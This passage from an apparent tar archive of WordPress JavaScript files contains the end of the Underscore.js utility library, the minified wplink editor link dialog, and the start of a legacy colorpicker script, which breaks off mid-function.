(_keys || obj).length, results = Array(length); for (var index = 0; index < length; index++) { var currentKey = _keys ? _keys[index] : index; results[index] = iteratee(obj[currentKey], currentKey, obj); } return results; } // Internal helper to create a reducing function, iterating left or right. function createReduce(dir) { // Wrap code that reassigns argument variables in a separate function than // the one that accesses `arguments.length` to avoid a perf hit. (#1991) var reducer = function(obj, iteratee, memo, initial) { var _keys = !isArrayLike(obj) && keys(obj), length = (_keys || obj).length, index = dir > 0 ? 0 : length - 1; if (!initial) { memo = obj[_keys ? _keys[index] : index]; index += dir; } for (; index >= 0 && index < length; index += dir) { var currentKey = _keys ? _keys[index] : index; memo = iteratee(memo, obj[currentKey], currentKey, obj); } return memo; }; return function(obj, iteratee, memo, context) { var initial = arguments.length >= 3; return reducer(obj, optimizeCb(iteratee, context, 4), memo, initial); }; } // **Reduce** builds up a single result from a list of values, aka `inject`, // or `foldl`. var reduce = createReduce(1); // The right-associative version of reduce, also known as `foldr`. var reduceRight = createReduce(-1); // Return all the elements that pass a truth test. function filter(obj, predicate, context) { var results = []; predicate = cb(predicate, context); each(obj, function(value, index, list) { if (predicate(value, index, list)) results.push(value); }); return results; } // Return all the elements for which a truth test fails. function reject(obj, predicate, context) { return filter(obj, negate(cb(predicate)), context); } // Determine whether all of the elements pass a truth test. function every(obj, predicate, context) { predicate = cb(predicate, context); var _keys = !isArrayLike(obj) && keys(obj), length = (_keys || obj).length; for (var index = 0; index < length; index++) { var currentKey = _keys ? _keys[index] : index; if (!predicate(obj[currentKey], currentKey, obj)) return false; } return true; } // Determine if at least one element in the object passes a truth test. function some(obj, predicate, context) { predicate = cb(predicate, context); var _keys = !isArrayLike(obj) && keys(obj), length = (_keys || obj).length; for (var index = 0; index < length; index++) { var currentKey = _keys ? _keys[index] : index; if (predicate(obj[currentKey], currentKey, obj)) return true; } return false; } // Determine if the array or object contains a given item (using `===`). function contains(obj, item, fromIndex, guard) { if (!isArrayLike(obj)) obj = values(obj); if (typeof fromIndex != 'number' || guard) fromIndex = 0; return indexOf(obj, item, fromIndex) >= 0; } // Invoke a method (with arguments) on every item in a collection. var invoke = restArguments(function(obj, path, args) { var contextPath, func; if (isFunction$1(path)) { func = path; } else { path = toPath(path); contextPath = path.slice(0, -1); path = path[path.length - 1]; } return map(obj, function(context) { var method = func; if (!method) { if (contextPath && contextPath.length) { context = deepGet(context, contextPath); } if (context == null) return void 0; method = context[path]; } return method == null ? method : method.apply(context, args); }); }); // Convenience version of a common use case of `_.map`: fetching a property. function pluck(obj, key) { return map(obj, property(key)); } // Convenience version of a common use case of `_.filter`: selecting only // objects containing specific `key:value` pairs. function where(obj, attrs) { return filter(obj, matcher(attrs)); } // Return the maximum element (or element-based computation). function max(obj, iteratee, context) { var result = -Infinity, lastComputed = -Infinity, value, computed; if (iteratee == null || (typeof iteratee == 'number' && typeof obj[0] != 'object' && obj != null)) { obj = isArrayLike(obj) ? obj : values(obj); for (var i = 0, length = obj.length; i < length; i++) { value = obj[i]; if (value != null && value > result) { result = value; } } } else { iteratee = cb(iteratee, context); each(obj, function(v, index, list) { computed = iteratee(v, index, list); if (computed > lastComputed || (computed === -Infinity && result === -Infinity)) { result = v; lastComputed = computed; } }); } return result; } // Return the minimum element (or element-based computation). function min(obj, iteratee, context) { var result = Infinity, lastComputed = Infinity, value, computed; if (iteratee == null || (typeof iteratee == 'number' && typeof obj[0] != 'object' && obj != null)) { obj = isArrayLike(obj) ? obj : values(obj); for (var i = 0, length = obj.length; i < length; i++) { value = obj[i]; if (value != null && value < result) { result = value; } } } else { iteratee = cb(iteratee, context); each(obj, function(v, index, list) { computed = iteratee(v, index, list); if (computed < lastComputed || (computed === Infinity && result === Infinity)) { result = v; lastComputed = computed; } }); } return result; } // Safely create a real, live array from anything iterable. var reStrSymbol = /[^\ud800-\udfff]|[\ud800-\udbff][\udc00-\udfff]|[\ud800-\udfff]/g; function toArray(obj) { if (!obj) return []; if (isArray(obj)) return slice.call(obj); if (isString(obj)) { // Keep surrogate pair characters together. return obj.match(reStrSymbol); } if (isArrayLike(obj)) return map(obj, identity); return values(obj); } // Sample **n** random values from a collection using the modern version of the // [Fisher-Yates shuffle](https://en.wikipedia.org/wiki/Fisher–Yates_shuffle). // If **n** is not specified, returns a single random element. // The internal `guard` argument allows it to work with `_.map`. function sample(obj, n, guard) { if (n == null || guard) { if (!isArrayLike(obj)) obj = values(obj); return obj[random(obj.length - 1)]; } var sample = toArray(obj); var length = getLength(sample); n = Math.max(Math.min(n, length), 0); var last = length - 1; for (var index = 0; index < n; index++) { var rand = random(index, last); var temp = sample[index]; sample[index] = sample[rand]; sample[rand] = temp; } return sample.slice(0, n); } // Shuffle a collection. function shuffle(obj) { return sample(obj, Infinity); } // Sort the object's values by a criterion produced by an iteratee. function sortBy(obj, iteratee, context) { var index = 0; iteratee = cb(iteratee, context); return pluck(map(obj, function(value, key, list) { return { value: value, index: index++, criteria: iteratee(value, key, list) }; }).sort(function(left, right) { var a = left.criteria; var b = right.criteria; if (a !== b) { if (a > b || a === void 0) return 1; if (a < b || b === void 0) return -1; } return left.index - right.index; }), 'value'); } // An internal function used for aggregate "group by" operations. function group(behavior, partition) { return function(obj, iteratee, context) { var result = partition ? [[], []] : {}; iteratee = cb(iteratee, context); each(obj, function(value, index) { var key = iteratee(value, index, obj); behavior(result, value, key); }); return result; }; } // Groups the object's values by a criterion. Pass either a string attribute // to group by, or a function that returns the criterion. var groupBy = group(function(result, value, key) { if (has$1(result, key)) result[key].push(value); else result[key] = [value]; }); // Indexes the object's values by a criterion, similar to `_.groupBy`, but for // when you know that your index values will be unique. var indexBy = group(function(result, value, key) { result[key] = value; }); // Counts instances of an object that group by a certain criterion. Pass // either a string attribute to count by, or a function that returns the // criterion. var countBy = group(function(result, value, key) { if (has$1(result, key)) result[key]++; else result[key] = 1; }); // Split a collection into two arrays: one whose elements all pass the given // truth test, and one whose elements all do not pass the truth test. var partition = group(function(result, value, pass) { result[pass ? 0 : 1].push(value); }, true); // Return the number of elements in a collection. function size(obj) { if (obj == null) return 0; return isArrayLike(obj) ? obj.length : keys(obj).length; } // Internal `_.pick` helper function to determine whether `key` is an enumerable // property name of `obj`. function keyInObj(value, key, obj) { return key in obj; } // Return a copy of the object only containing the allowed properties. var pick = restArguments(function(obj, keys) { var result = {}, iteratee = keys[0]; if (obj == null) return result; if (isFunction$1(iteratee)) { if (keys.length > 1) iteratee = optimizeCb(iteratee, keys[1]); keys = allKeys(obj); } else { iteratee = keyInObj; keys = flatten$1(keys, false, false); obj = Object(obj); } for (var i = 0, length = keys.length; i < length; i++) { var key = keys[i]; var value = obj[key]; if (iteratee(value, key, obj)) result[key] = value; } return result; }); // Return a copy of the object without the disallowed properties. var omit = restArguments(function(obj, keys) { var iteratee = keys[0], context; if (isFunction$1(iteratee)) { iteratee = negate(iteratee); if (keys.length > 1) context = keys[1]; } else { keys = map(flatten$1(keys, false, false), String); iteratee = function(value, key) { return !contains(keys, key); }; } return pick(obj, iteratee, context); }); // Returns everything but the last entry of the array. Especially useful on // the arguments object. Passing **n** will return all the values in // the array, excluding the last N. function initial(array, n, guard) { return slice.call(array, 0, Math.max(0, array.length - (n == null || guard ? 1 : n))); } // Get the first element of an array. Passing **n** will return the first N // values in the array. The **guard** check allows it to work with `_.map`. function first(array, n, guard) { if (array == null || array.length < 1) return n == null || guard ? void 0 : []; if (n == null || guard) return array[0]; return initial(array, array.length - n); } // Returns everything but the first entry of the `array`. Especially useful on // the `arguments` object. Passing an **n** will return the rest N values in the // `array`. function rest(array, n, guard) { return slice.call(array, n == null || guard ? 1 : n); } // Get the last element of an array. Passing **n** will return the last N // values in the array. function last(array, n, guard) { if (array == null || array.length < 1) return n == null || guard ? void 0 : []; if (n == null || guard) return array[array.length - 1]; return rest(array, Math.max(0, array.length - n)); } // Trim out all falsy values from an array. function compact(array) { return filter(array, Boolean); } // Flatten out an array, either recursively (by default), or up to `depth`. // Passing `true` or `false` as `depth` means `1` or `Infinity`, respectively. function flatten(array, depth) { return flatten$1(array, depth, false); } // Take the difference between one array and a number of other arrays. // Only the elements present in just the first array will remain. var difference = restArguments(function(array, rest) { rest = flatten$1(rest, true, true); return filter(array, function(value){ return !contains(rest, value); }); }); // Return a version of the array that does not contain the specified value(s). var without = restArguments(function(array, otherArrays) { return difference(array, otherArrays); }); // Produce a duplicate-free version of the array. If the array has already // been sorted, you have the option of using a faster algorithm. // The faster algorithm will not work with an iteratee if the iteratee // is not a one-to-one function, so providing an iteratee will disable // the faster algorithm. function uniq(array, isSorted, iteratee, context) { if (!isBoolean(isSorted)) { context = iteratee; iteratee = isSorted; isSorted = false; } if (iteratee != null) iteratee = cb(iteratee, context); var result = []; var seen = []; for (var i = 0, length = getLength(array); i < length; i++) { var value = array[i], computed = iteratee ? iteratee(value, i, array) : value; if (isSorted && !iteratee) { if (!i || seen !== computed) result.push(value); seen = computed; } else if (iteratee) { if (!contains(seen, computed)) { seen.push(computed); result.push(value); } } else if (!contains(result, value)) { result.push(value); } } return result; } // Produce an array that contains the union: each distinct element from all of // the passed-in arrays. var union = restArguments(function(arrays) { return uniq(flatten$1(arrays, true, true)); }); // Produce an array that contains every item shared between all the // passed-in arrays. function intersection(array) { var result = []; var argsLength = arguments.length; for (var i = 0, length = getLength(array); i < length; i++) { var item = array[i]; if (contains(result, item)) continue; var j; for (j = 1; j < argsLength; j++) { if (!contains(arguments[j], item)) break; } if (j === argsLength) result.push(item); } return result; } // Complement of zip. Unzip accepts an array of arrays and groups // each array's elements on shared indices. function unzip(array) { var length = (array && max(array, getLength).length) || 0; var result = Array(length); for (var index = 0; index < length; index++) { result[index] = pluck(array, index); } return result; } // Zip together multiple lists into a single array -- elements that share // an index go together. var zip = restArguments(unzip); // Converts lists into objects. Pass either a single array of `[key, value]` // pairs, or two parallel arrays of the same length -- one of keys, and one of // the corresponding values. Passing by pairs is the reverse of `_.pairs`. function object(list, values) { var result = {}; for (var i = 0, length = getLength(list); i < length; i++) { if (values) { result[list[i]] = values[i]; } else { result[list[i][0]] = list[i][1]; } } return result; } // Generate an integer Array containing an arithmetic progression. A port of // the native Python `range()` function. See // [the Python documentation](https://docs.python.org/library/functions.html#range). function range(start, stop, step) { if (stop == null) { stop = start || 0; start = 0; } if (!step) { step = stop < start ? -1 : 1; } var length = Math.max(Math.ceil((stop - start) / step), 0); var range = Array(length); for (var idx = 0; idx < length; idx++, start += step) { range[idx] = start; } return range; } // Chunk a single array into multiple arrays, each containing `count` or fewer // items. function chunk(array, count) { if (count == null || count < 1) return []; var result = []; var i = 0, length = array.length; while (i < length) { result.push(slice.call(array, i, i += count)); } return result; } // Helper function to continue chaining intermediate results. function chainResult(instance, obj) { return instance._chain ? _$1(obj).chain() : obj; } // Add your own custom functions to the Underscore object. function mixin(obj) { each(functions(obj), function(name) { var func = _$1[name] = obj[name]; _$1.prototype[name] = function() { var args = [this._wrapped]; push.apply(args, arguments); return chainResult(this, func.apply(_$1, args)); }; }); return _$1; } // Add all mutator `Array` functions to the wrapper. each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) { var method = ArrayProto[name]; _$1.prototype[name] = function() { var obj = this._wrapped; if (obj != null) { method.apply(obj, arguments); if ((name === 'shift' || name === 'splice') && obj.length === 0) { delete obj[0]; } } return chainResult(this, obj); }; }); // Add all accessor `Array` functions to the wrapper. each(['concat', 'join', 'slice'], function(name) { var method = ArrayProto[name]; _$1.prototype[name] = function() { var obj = this._wrapped; if (obj != null) obj = method.apply(obj, arguments); return chainResult(this, obj); }; }); // Named Exports var allExports = { __proto__: null, VERSION: VERSION, restArguments: restArguments, isObject: isObject, isNull: isNull, isUndefined: isUndefined, isBoolean: isBoolean, isElement: isElement, isString: isString, isNumber: isNumber, isDate: isDate, isRegExp: isRegExp, isError: isError, isSymbol: isSymbol, isArrayBuffer: isArrayBuffer, isDataView: isDataView$1, isArray: isArray, isFunction: isFunction$1, isArguments: isArguments$1, isFinite: isFinite$1, isNaN: isNaN$1, isTypedArray: isTypedArray$1, isEmpty: isEmpty, isMatch: isMatch, isEqual: isEqual, isMap: isMap, isWeakMap: isWeakMap, isSet: isSet, isWeakSet: isWeakSet, keys: keys, allKeys: allKeys, values: values, pairs: pairs, invert: invert, functions: functions, methods: functions, extend: extend, extendOwn: extendOwn, assign: extendOwn, defaults: defaults, create: create, clone: clone, tap: tap, get: get, has: has, mapObject: mapObject, identity: identity, constant: constant, noop: noop, toPath: toPath$1, property: property, propertyOf: propertyOf, matcher: matcher, matches: matcher, times: times, random: random, now: now, escape: _escape, unescape: _unescape, templateSettings: templateSettings, template: template, result: result, uniqueId: uniqueId, chain: chain, iteratee: iteratee, partial: partial, bind: bind, bindAll: bindAll, memoize: memoize, delay: delay, defer: defer, throttle: throttle, debounce: debounce, wrap: wrap, negate: negate, compose: compose, after: after, before: before, once: once, findKey: findKey, findIndex: findIndex, findLastIndex: findLastIndex, sortedIndex: sortedIndex, indexOf: indexOf, lastIndexOf: lastIndexOf, find: find, detect: find, findWhere: findWhere, each: each, forEach: each, map: map, collect: map, reduce: reduce, foldl: reduce, inject: reduce, reduceRight: reduceRight, foldr: reduceRight, filter: filter, select: filter, reject: reject, every: every, all: every, some: some, any: some, contains: contains, includes: contains, include: contains, invoke: invoke, pluck: pluck, where: where, max: max, min: min, shuffle: shuffle, sample: sample, sortBy: sortBy, groupBy: groupBy, indexBy: indexBy, countBy: countBy, partition: partition, toArray: toArray, size: size, pick: pick, omit: omit, first: first, head: first, take: first, initial: initial, last: last, rest: rest, tail: rest, drop: rest, compact: compact, flatten: flatten, without: without, uniq: uniq, unique: uniq, union: union, intersection: intersection, difference: difference, unzip: unzip, transpose: unzip, zip: zip, object: object, range: range, chunk: chunk, mixin: mixin, 'default': _$1 }; // Default Export // Add all of the Underscore functions to the wrapper object. var _ = mixin(allExports); // Legacy Node.js API. _._ = _; return _; }))); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/wplink.min.js������������������������������������������������������������������������������������0000644�����������������00000026002�14717703502�0007612 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(s,l,o){var c,e,t,n,i,h=/^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,63}$/i,u=/^(https?|ftp):\/\/[A-Z0-9.-]+\.[A-Z]{2,63}[^ "]*$/i,p={},a={},r="ontouchend"in document;function d(){return c?c.$('a[data-wplink-edit="true"]'):null}window.wpLink={timeToTriggerRiver:150,minRiverAJAXDuration:200,riverBottomThreshold:5,keySensitivity:100,lastSearch:"",textarea:"",modalOpen:!1,init:function(){p.wrap=s("#wp-link-wrap"),p.dialog=s("#wp-link"),p.backdrop=s("#wp-link-backdrop"),p.submit=s("#wp-link-submit"),p.close=s("#wp-link-close"),p.text=s("#wp-link-text"),p.url=s("#wp-link-url"),p.nonce=s("#_ajax_linking_nonce"),p.openInNewTab=s("#wp-link-target"),p.search=s("#wp-link-search"),a.search=new t(s("#search-results")),a.recent=new t(s("#most-recent-results")),a.elements=p.dialog.find(".query-results"),p.queryNotice=s("#query-notice-message"),p.queryNoticeTextDefault=p.queryNotice.find(".query-notice-default"),p.queryNoticeTextHint=p.queryNotice.find(".query-notice-hint"),p.dialog.on("keydown",wpLink.keydown),p.dialog.on("keyup",wpLink.keyup),p.submit.on("click",function(e){e.preventDefault(),wpLink.update()}),p.close.add(p.backdrop).add("#wp-link-cancel button").on("click",function(e){e.preventDefault(),wpLink.close()}),a.elements.on("river-select",wpLink.updateFields),p.search.on("focus.wplink",function(){p.queryNoticeTextDefault.hide(),p.queryNoticeTextHint.removeClass("screen-reader-text").show()}).on("blur.wplink",function(){p.queryNoticeTextDefault.show(),p.queryNoticeTextHint.addClass("screen-reader-text").hide()}),p.search.on("keyup input",function(){window.clearTimeout(e),e=window.setTimeout(function(){wpLink.searchInternalLinks()},500)}),p.url.on("paste",function(){setTimeout(wpLink.correctURL,0)}),p.url.on("blur",wpLink.correctURL)},correctURL:function(){var e=p.url.val().trim();e&&i!==e&&!/^(?:[a-z]+:|#|\?|\.|\/)/.test(e)&&(p.url.val("http://"+e),i=e)},open:function(e,t,n){var i=s(document.body);i.addClass("modal-open"),wpLink.modalOpen=!0,wpLink.range=null,e&&(window.wpActiveEditor=e),window.wpActiveEditor&&(this.textarea=s("#"+window.wpActiveEditor).get(0),void 0!==window.tinymce&&(i.append(p.backdrop,p.wrap),e=window.tinymce.get(window.wpActiveEditor),c=e&&!e.isHidden()?e:null),!wpLink.isMCE()&&document.selection&&(this.textarea.focus(),this.range=document.selection.createRange()),p.wrap.show(),p.backdrop.show(),wpLink.refresh(t,n),s(document).trigger("wplink-open",p.wrap))},isMCE:function(){return c&&!c.isHidden()},refresh:function(e,t){a.search.refresh(),a.recent.refresh(),wpLink.isMCE()?wpLink.mceRefresh(e,t):(p.wrap.hasClass("has-text-field")||p.wrap.addClass("has-text-field"),document.selection?document.selection.createRange().text:void 0!==this.textarea.selectionStart&&this.textarea.selectionStart!==this.textarea.selectionEnd&&(t=this.textarea.value.substring(this.textarea.selectionStart,this.textarea.selectionEnd)||t||""),p.text.val(t),wpLink.setDefaultValues()),r?p.url.trigger("focus").trigger("blur"):window.setTimeout(function(){p.url[0].select(),p.url.trigger("focus")}),a.recent.ul.children().length||a.recent.ajax(),i=p.url.val().replace(/^http:\/\//,"")},hasSelectedText:function(e){var t,n,i,a=c.selection.getContent();if(/</.test(a)&&(!/^<a [^>]+>[^<]+<\/a>$/.test(a)||-1===a.indexOf("href=")))return!1;if(e.length){if(!(n=e[0].childNodes)||!n.length)return!1;for(i=n.length-1;0<=i;i--)if(3!=(t=n[i]).nodeType&&!window.tinymce.dom.BookmarkManager.isBookmarkNode(t))return!1}return!0},mceRefresh:function(e,t){var n,i,a=d(),r=this.hasSelectedText(a);a.length?(n=a.text(),i=a.attr("href"),n.trim()||(n=t||""),"_wp_link_placeholder"!==(i=e&&(u.test(e)||h.test(e))?e:i)?(p.url.val(i),p.openInNewTab.prop("checked","_blank"===a.attr("target")),p.submit.val(l.update)):this.setDefaultValues(n),e&&e!==i?p.search.val(e):p.search.val(""),window.setTimeout(function(){wpLink.searchInternalLinks()})):(n=c.selection.getContent({format:"text"})||t||"",this.setDefaultValues(n)),r?(p.text.val(n),p.wrap.addClass("has-text-field")):(p.text.val(""),p.wrap.removeClass("has-text-field"))},close:function(e){s(document.body).removeClass("modal-open"),wpLink.modalOpen=!1,"noReset"!==e&&(wpLink.isMCE()?(c.plugins.wplink&&c.plugins.wplink.close(),c.focus()):(wpLink.textarea.focus(),wpLink.range&&(wpLink.range.moveToBookmark(wpLink.range.getBookmark()),wpLink.range.select()))),p.backdrop.hide(),p.wrap.hide(),i=!1,s(document).trigger("wplink-close",p.wrap)},getAttrs:function(){return wpLink.correctURL(),{href:p.url.val().trim(),target:p.openInNewTab.prop("checked")?"_blank":null}},buildHtml:function(e){var t='<a href="'+e.href+'"';return e.target&&(t+=' rel="noopener" target="'+e.target+'"'),t+">"},update:function(){wpLink.isMCE()?wpLink.mceUpdate():wpLink.htmlUpdate()},htmlUpdate:function(){var e,t,n,i,a,r=wpLink.textarea;r&&(n=wpLink.getAttrs(),i=p.text.val(),(a=document.createElement("a")).href=n.href,"javascript:"!==a.protocol&&"data:"!==a.protocol||(n.href=""),n.href&&(a=wpLink.buildHtml(n),document.selection&&wpLink.range?(r.focus(),wpLink.range.text=a+(i||wpLink.range.text)+"</a>",wpLink.range.moveToBookmark(wpLink.range.getBookmark()),wpLink.range.select(),wpLink.range=null):void 0!==r.selectionStart&&(n=r.selectionStart,e=r.selectionEnd,t=n+(a=a+(i=i||r.value.substring(n,e))+"</a>").length,n!==e||i||(t-=4),r.value=r.value.substring(0,n)+a+r.value.substring(e,r.value.length),r.selectionStart=r.selectionEnd=t),wpLink.close(),r.focus(),s(r).trigger("change"),o.a11y.speak(l.linkInserted)))},mceUpdate:function(){var e,t,n,i=wpLink.getAttrs(),a=document.createElement("a");if(a.href=i.href,"javascript:"!==a.protocol&&"data:"!==a.protocol||(i.href=""),!i.href)return c.execCommand("unlink"),void wpLink.close();e=d(),c.undoManager.transact(function(){e.length||(c.execCommand("mceInsertLink",!1,{href:"_wp_link_placeholder","data-wp-temp-link":1}),e=c.$('a[data-wp-temp-link="1"]').removeAttr("data-wp-temp-link"),n=e.text().trim()),e.length?(p.wrap.hasClass("has-text-field")&&((t=p.text.val())?e.text(t):n||e.text(i.href)),i["data-wplink-edit"]=null,i["data-mce-href"]=i.href,e.attr(i)):c.execCommand("unlink")}),wpLink.close("noReset"),c.focus(),e.length&&(c.selection.select(e[0]),c.plugins.wplink&&c.plugins.wplink.checkLink(e[0])),c.nodeChanged(),o.a11y.speak(l.linkInserted)},updateFields:function(e,t){p.url.val(t.children(".item-permalink").val()),p.wrap.hasClass("has-text-field")&&!p.text.val()&&p.text.val(t.children(".item-title").text())},getUrlFromSelection:function(e){return e||(this.isMCE()?e=c.selection.getContent({format:"text"}):document.selection&&wpLink.range?e=wpLink.range.text:void 0!==this.textarea.selectionStart&&(e=this.textarea.value.substring(this.textarea.selectionStart,this.textarea.selectionEnd))),(e=(e=e||"").trim())&&h.test(e)?"mailto:"+e:e&&u.test(e)?e.replace(/&|�?38;/gi,"&"):""},setDefaultValues:function(e){p.url.val(this.getUrlFromSelection(e)),p.search.val(""),wpLink.searchInternalLinks(),p.submit.val(l.save)},searchInternalLinks:function(){var e,t=p.search.val()||"",n=parseInt(l.minInputLength,10)||3;t.length>=n?(a.recent.hide(),a.search.show(),wpLink.lastSearch!=t&&(wpLink.lastSearch=t,e=p.search.parent().find(".spinner").addClass("is-active"),a.search.change(t),a.search.ajax(function(){e.removeClass("is-active")}))):(a.search.hide(),a.recent.show())},next:function(){a.search.next(),a.recent.next()},prev:function(){a.search.prev(),a.recent.prev()},keydown:function(e){var t;27===e.keyCode?(wpLink.close(),e.stopImmediatePropagation()):9===e.keyCode&&("wp-link-submit"!==(t=e.target.id)||e.shiftKey?"wp-link-close"===t&&e.shiftKey&&(p.submit.trigger("focus"),e.preventDefault()):(p.close.trigger("focus"),e.preventDefault())),e.shiftKey||38!==e.keyCode&&40!==e.keyCode||document.activeElement&&("link-title-field"===document.activeElement.id||"url-field"===document.activeElement.id)||(t=38===e.keyCode?"prev":"next",clearInterval(wpLink.keyInterval),wpLink[t](),wpLink.keyInterval=setInterval(wpLink[t],wpLink.keySensitivity),e.preventDefault())},keyup:function(e){38!==e.keyCode&&40!==e.keyCode||(clearInterval(wpLink.keyInterval),e.preventDefault())},delayedCallback:function(e,t){var n,i,a,r;return t?(setTimeout(function(){if(i)return e.apply(r,a);n=!0},t),function(){if(n)return e.apply(this,arguments);a=arguments,r=this,i=!0}):e}},t=function(e,t){var n=this;this.element=e,this.ul=e.children("ul"),this.contentHeight=e.children("#link-selector-height"),this.waiting=e.find(".river-waiting"),this.change(t),this.refresh(),s("#wp-link .query-results, #wp-link #link-selector").on("scroll",function(){n.maybeLoad()}),e.on("click","li",function(e){n.select(s(this),e)})},s.extend(t.prototype,{refresh:function(){this.deselect(),this.visible=this.element.is(":visible")},show:function(){this.visible||(this.deselect(),this.element.show(),this.visible=!0)},hide:function(){this.element.hide(),this.visible=!1},select:function(e,t){var n,i,a,r;e.hasClass("unselectable")||e==this.selected||(this.deselect(),this.selected=e.addClass("selected"),n=e.outerHeight(),i=this.element.height(),a=e.position().top,r=this.element.scrollTop(),a<0?this.element.scrollTop(r+a):i<a+n&&this.element.scrollTop(r+a-i+n),this.element.trigger("river-select",[e,t,this]))},deselect:function(){this.selected&&this.selected.removeClass("selected"),this.selected=!1},prev:function(){var e;this.visible&&this.selected&&(e=this.selected.prev("li")).length&&this.select(e)},next:function(){var e;!this.visible||(e=this.selected?this.selected.next("li"):s("li:not(.unselectable):first",this.element)).length&&this.select(e)},ajax:function(n){var i=this,e=1==this.query.page?0:wpLink.minRiverAJAXDuration,e=wpLink.delayedCallback(function(e,t){i.process(e,t),n&&n(e,t)},e);this.query.ajax(e)},change:function(e){this.query&&this._search==e||(this._search=e,this.query=new n(e),this.element.scrollTop(0))},process:function(e,t){var n,i="",a=!0,t=1==t.page;e?s.each(e,function(){n=a?"alternate":"",n+=this.title?"":" no-title",i=(i=(i=(i+=n?'<li class="'+n+'">':"<li>")+'<input type="hidden" class="item-permalink" value="'+this.permalink+'" /><span class="item-title">')+(this.title||l.noTitle))+'</span><span class="item-info">'+this.info+"</span></li>",a=!a}):t&&(i+='<li class="unselectable no-matches-found"><span class="item-title"><em>'+l.noMatchesFound+"</em></span></li>"),this.ul[t?"html":"append"](i)},maybeLoad:function(){var n=this,i=this.element,e=i.scrollTop()+i.height();!this.query.ready()||e<this.contentHeight.height()-wpLink.riverBottomThreshold||setTimeout(function(){var e=i.scrollTop(),t=e+i.height();!n.query.ready()||t<n.contentHeight.height()-wpLink.riverBottomThreshold||(n.waiting.addClass("is-active"),i.scrollTop(e+n.waiting.outerHeight()),n.ajax(function(){n.waiting.removeClass("is-active")}))},wpLink.timeToTriggerRiver)}}),n=function(e){this.page=1,this.allLoaded=!1,this.querying=!1,this.search=e},s.extend(n.prototype,{ready:function(){return!(this.querying||this.allLoaded)},ajax:function(t){var n=this,i={action:"wp-link-ajax",page:this.page,_ajax_linking_nonce:p.nonce.val()};this.search&&(i.search=this.search),this.querying=!0,s.post(window.ajaxurl,i,function(e){n.page++,n.querying=!1,n.allLoaded=!e,t(e,i)},"json")}}),s(wpLink.init)}(jQuery,window.wpLinkL10n,window.wp);������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/colorpicker.js�����������������������������������������������������������������������������������0000644�����������������00000070633�14717703502�0010051 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������// =================================================================== // Author: Matt Kruse <matt@mattkruse.com> // WWW: http://www.mattkruse.com/ // // NOTICE: You may use this code for any purpose, commercial or // private, without any further permission from the author. You may // remove this notice from your final code if you wish, however it is // appreciated by the author if at least my web site address is kept. // // You may *NOT* re-distribute this code in any way except through its // use. That means, you can include it in your product, or your web // site, or any other form where the code is actually being used. You // may not put the plain javascript up on your site for download or // include it in your javascript libraries for download. // If you wish to share this code with others, please just point them // to the URL instead. // Please DO NOT link directly to my .js files from your site. Copy // the files to your server and use them there. Thank you. // =================================================================== /* SOURCE FILE: AnchorPosition.js */ /* AnchorPosition.js Author: Matt Kruse Last modified: 10/11/02 DESCRIPTION: These functions find the position of an <A> tag in a document, so other elements can be positioned relative to it. COMPATABILITY: Netscape 4.x,6.x,Mozilla, IE 5.x,6.x on Windows. Some small positioning errors - usually with Window positioning - occur on the Macintosh platform. FUNCTIONS: getAnchorPosition(anchorname) Returns an Object() having .x and .y properties of the pixel coordinates of the upper-left corner of the anchor. Position is relative to the PAGE. getAnchorWindowPosition(anchorname) Returns an Object() having .x and .y properties of the pixel coordinates of the upper-left corner of the anchor, relative to the WHOLE SCREEN. NOTES: 1) For popping up separate browser windows, use getAnchorWindowPosition. Otherwise, use getAnchorPosition 2) Your anchor tag MUST contain both NAME and ID attributes which are the same. For example: <A NAME="test" ID="test"> </A> 3) There must be at least a space between <A> </A> for IE5.5 to see the anchor tag correctly. Do not do <A></A> with no space. */ // getAnchorPosition(anchorname) // This function returns an object having .x and .y properties which are the coordinates // of the named anchor, relative to the page. function getAnchorPosition(anchorname) { // This function will return an Object with x and y properties var useWindow=false; var coordinates=new Object(); var x=0,y=0; // Browser capability sniffing var use_gebi=false, use_css=false, use_layers=false; if (document.getElementById) { use_gebi=true; } else if (document.all) { use_css=true; } else if (document.layers) { use_layers=true; } // Logic to find position if (use_gebi && document.all) { x=AnchorPosition_getPageOffsetLeft(document.all[anchorname]); y=AnchorPosition_getPageOffsetTop(document.all[anchorname]); } else if (use_gebi) { var o=document.getElementById(anchorname); x=AnchorPosition_getPageOffsetLeft(o); y=AnchorPosition_getPageOffsetTop(o); } else if (use_css) { x=AnchorPosition_getPageOffsetLeft(document.all[anchorname]); y=AnchorPosition_getPageOffsetTop(document.all[anchorname]); } else if (use_layers) { var found=0; for (var i=0; i<document.anchors.length; i++) { if (document.anchors[i].name==anchorname) { found=1; break; } } if (found==0) { coordinates.x=0; coordinates.y=0; return coordinates; } x=document.anchors[i].x; y=document.anchors[i].y; } else { coordinates.x=0; coordinates.y=0; return coordinates; } coordinates.x=x; coordinates.y=y; return coordinates; } // getAnchorWindowPosition(anchorname) // This function returns an object having .x and .y properties which are the coordinates // of the named anchor, relative to the window function getAnchorWindowPosition(anchorname) { var coordinates=getAnchorPosition(anchorname); var x=0; var y=0; if (document.getElementById) { if (isNaN(window.screenX)) { x=coordinates.x-document.body.scrollLeft+window.screenLeft; y=coordinates.y-document.body.scrollTop+window.screenTop; } else { x=coordinates.x+window.screenX+(window.outerWidth-window.innerWidth)-window.pageXOffset; y=coordinates.y+window.screenY+(window.outerHeight-24-window.innerHeight)-window.pageYOffset; } } else if (document.all) { x=coordinates.x-document.body.scrollLeft+window.screenLeft; y=coordinates.y-document.body.scrollTop+window.screenTop; } else if (document.layers) { x=coordinates.x+window.screenX+(window.outerWidth-window.innerWidth)-window.pageXOffset; y=coordinates.y+window.screenY+(window.outerHeight-24-window.innerHeight)-window.pageYOffset; } coordinates.x=x; coordinates.y=y; return coordinates; } // Functions for IE to get position of an object function AnchorPosition_getPageOffsetLeft (el) { var ol=el.offsetLeft; while ((el=el.offsetParent) != null) { ol += el.offsetLeft; } return ol; } function 